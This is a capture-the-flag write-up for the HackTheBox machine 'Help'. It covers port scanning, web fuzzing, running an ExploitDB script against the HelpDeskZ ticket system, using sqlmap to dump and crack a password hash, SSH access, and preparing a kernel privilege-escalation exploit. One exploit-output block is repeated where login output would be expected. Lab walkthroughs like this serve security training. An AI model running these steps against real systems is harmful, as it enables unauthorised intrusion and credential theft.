Help is an easy-rated Linux machine from HackTheBox created by cymtrick. In the current post, my IP is 10.10.14.23, and the target’s IP is 10.129.227.176
I assume that the machine is pretty random, with the version obtainable only by a "readme", that you know about it existence from git... the url vulnerable to sqli is really hidden, I didn't like this maachine at all.
Recon
Local Terminal
nmap -p- --open -sS --min-rate 5000 10.129.227.176 -vvv -n
Nmap scan report for 10.129.227.176
Host is up, received reset ttl 128 (0.0027s latency).
Scanned at 2023-07-09 02:51:15 UTC for 40s
Not shown: 63200 filtered tcp ports (no-response), 2333 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 128
80/tcp open http syn-ack ttl 128
3000/tcp open ppp syn-ack ttl 128
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 39.72 seconds
Raw packets sent: 196635 (8.652MB) | Rcvd: 40142 (1.606MB)
Local Terminal
nmap -sCV -p 22,80 10.129.227.176 -oN Target
Nmap scan report for 10.129.227.176
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://help.htb/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000041: 301 9 L 28 W 306 Ch "support"
000001059: 301 9 L 28 W 309 Ch "javascript"
"Support" and "JavaScript", virtually there is nothing, let's explore another port
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://help.htb:3000FUZZ/
Total requests: 584
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000215: 400 0 L 3 W 18 Ch "/graphql"
000000216: 400 0 L 3 W 18 Ch "/graphql/console"
Total time: 0
Processed Requests: 562
Filtered Requests: 560
Requests/sec.: 0
So, there is a GraphQL running at the API, now we have to work with specific exploits.
Local Terminal
└─# curl -s http://help.htb:3000/graphql
GET query missing.
Usually Graphql is exploitable with POST, so intercept with Burpsuite, change the request method, add the line "Content-Type: application/json" and apply the first suggested payload
Edit the python script and add at the first line: #-- coding: utf-8 --
And at line 94, change to session = requests.session()
Local Terminal
python2 41200.py http://help.htb/support helpme@helpme.com godhelpmeplz
------------------------------------------
username:
password: sha256()
Your ticket have to include attachment, probably none atachments found, or prefix is not equal hdz_
try to submit ticket with attachment
Ok, we need to submit another ticket with a file, and then execute the exploit again and wait.
At the end, it does not work, but at least now we know the URL where the injection happens.
Intercept the downloading process of a file, and save the request (saved as request).
Now execute sqlmap to extract the password.
Local Terminal
sqlmap -r request --level 5 --risk 3 -p param[]
We have the hash, slq1, after decrypt the password is { Welcome1 }, login through ssh to the machine.
Local Terminal
python2 41200.py http://help.htb/support helpme@helpme.com godhelpmeplz
------------------------------------------
username:
password: sha256()
Your ticket have to include attachment, probably none atachments found, or prefix is not equal hdz_
try to submit ticket with attachment
We have the first flag, now we do some basic test for escalation
Target Terminal [help]
help@help:~$ id
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
help@help:~$ sudo -l
[sudo] password for help:
Sorry, user help may not run sudo on help.
help@help:~$ cd /
help@help:/$ find / -perm -4000 2>/dev/null
/usr/sbin/exim4
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/vmware-user-suid-wrapper
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
<...>
help@help:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.5 LTS
Release: 16.04
Codename: xenial
help@help:/$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
We found an unusually old version at "uname -a", after searching for "Linux Kernel 4.4.0-116" at exploitDB we found something.
Copy the script as "exploit.c" at tmp (paste using nano), and then compile with the command gcc -o attack exploit.c